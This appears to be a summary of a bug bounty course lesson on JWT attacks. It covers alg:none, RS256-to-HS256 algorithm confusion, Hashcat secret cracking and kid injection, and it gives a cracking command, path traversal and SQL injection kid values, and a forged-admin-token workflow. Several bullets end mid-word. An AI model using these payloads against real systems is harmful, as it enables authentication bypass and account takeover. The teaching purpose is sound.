BB Day17: JWT Attacks Bug Bounty 2026 — Algorithm Confusion, None Attack & Weak Secrets

This article is Day 17 of a 60-day bug bounty mastery course focused on JSON Web Token (JWT) attacks—a high-severity vulnerability class affecting modern APIs and single-page applications. The course covers four distinct JWT attack vectors: alg:none signature removal, RS256-to-HS256 algorithm confusion using public keys, weak HMAC secret cracking with Hashcat, and kid parameter injection for path traversal and SQL injection. JWT vulnerabilities consistently earn Critical severity ratings because they enable complete authentication bypass, allowing attackers to impersonate any user including administrators without knowing credentials.

• JWT Structure and Attack SurfaceEvery JWT consists of three Base64url-encoded sections (header.payload.signature). The header specifies the signing algorithm; the payload contains claims like user ID, role, and permissions; and the signature is a cryptographic hash protecting token integrity. The entire security model depends on the signature being unforgeable—if an attacker can bypass verification or forge a valid signature, they control every claim in the token, including admin flags and permission levels. JWT attacks target either the algorithm field or the signature verification logic.
• The alg:none Attack MechanismThe JWT specification defines 'none' as a valid algorithm meaning no digital signature. Vulnerable libraries encountering alg:none skip signature verification entirely and accept token claims at face value. Attackers remove the signature completely, set any payload claims desired, and modify the algorithm field to 'none'. The article notes some filters can be bypassed using case variants like 'None', 'NONE', or 'nOnE'. This attack requires no cryptographic knowledge and gives complete control over all authentication claims with no valid signature required.
• Algorithm Confusion RS256 to HS256RS256 uses a private key to sign and a public key to verify—the public key is safe to share. If a server's JWT library supports both RS256 and HS256, an attacker can change the algorithm from RS256 to HS256 in the token header. Vulnerable implementations will then verify the signature using the RSA public key as the HMAC secret. Since the public key is often accessible from endpoints like /.well-known/jwks.json, attackers can sign forged tokens with this public key and the server will accept them. The attacker gains admin token generation capability using only publicly available information.
• Weak HMAC Secret Cracking WorkflowHS256-signed JWTs with weak secrets can be cracked using Hashcat mode 16500. The article provides a complete workflow: capture the token, run 'hashcat -m 16500 jwt_token.txt rockyou.txt' to crack the secret, then forge new tokens at jwt.io by modifying claims like role to 'admin' and signing with the recovered secret. Common JWT secrets in production are literally 'secret', 'password', '123456', or environment variable names like 'JWT_SECRET' matching the key name. The example in the article shows a financial services JWT cracked in under two seconds, enabling fund transfer authorization on be
• kid Parameter Injection AttacksThe kid (Key ID) header parameter tells the server which key to use for signature verification. If the application uses the kid value as a file path or database query to retrieve the verification key, it is vulnerable to injection attacks. Path traversal via kid like '../../../../../../dev/null' can cause the server to use an empty string as the HMAC secret when /dev/null reads as empty. SQL injection via kid like 'x' UNION SELECT 'attacker_key' -- -' can cause the database to return an attacker-controlled key for signature verification. This attack surface is rarely covered by WAFs or stan
• Practical PoC Structure for Bug BountyThe article outlines the four-step PoC that consistently earns Critical ratings: (1) capture and decode a legitimate user JWT showing the role claim, (2) execute the attack (alg:none, algorithm confusion, or cracked secret), (3) produce the forged token with role or sub modified to admin, (4) send a request to a privileged endpoint with the forged token and screenshot the admin response. This four-step progression demonstrates full authentication bypass rather than just theoretical vulnerability, making the difference between Medium and Critical severity payouts. The article emphasizes this is
• Automated Testing and Tool UsageThe article recommends multiple tools for JWT attacks: jwt.io for decoding and manual token modification in the browser, the Burp JWT Editor extension for one-click attack vectors including algorithm confusion and alg:none testing, jwt_tool (Python CLI) for automated all-attack mode that tests every JWT vulnerability vector, and Hashcat mode 16500 for HMAC secret cracking. jwt_tool's automated scan mode can test all JWT vulnerabilities systematically, while JWT Editor extension provides visual attack generation within Burp Repeater's JWT tab.
• Critical Severity Justification and ImpactJWT vulnerabilities consistently earn Critical ratings because they enable complete authentication bypass—an attacker can impersonate any user including administrators without knowing any credentials. The severity is not theoretical but demonstrated through working PoCs showing forged admin access. The article's real-world example from a financial services API operated undetected for six years with a secret cracked in seconds, enabling unauthorized fund transfer authorization on behalf of other users, illustrating that these vulnerabilities have severe real-world impact and high commercial val

Bottom line: JWT vulnerabilities are among the highest-paying bug bounty findings because they enable complete authentication bypass through four primary attack vectors: alg:none signature removal, RS256-to-HS256 algorithm confusion, weak secret cracking, and kid parameter injection. A proper four-step PoC demonstrating forged admin access to a privileged endpoint consistently achieves Critical severity ratings and substantial payouts.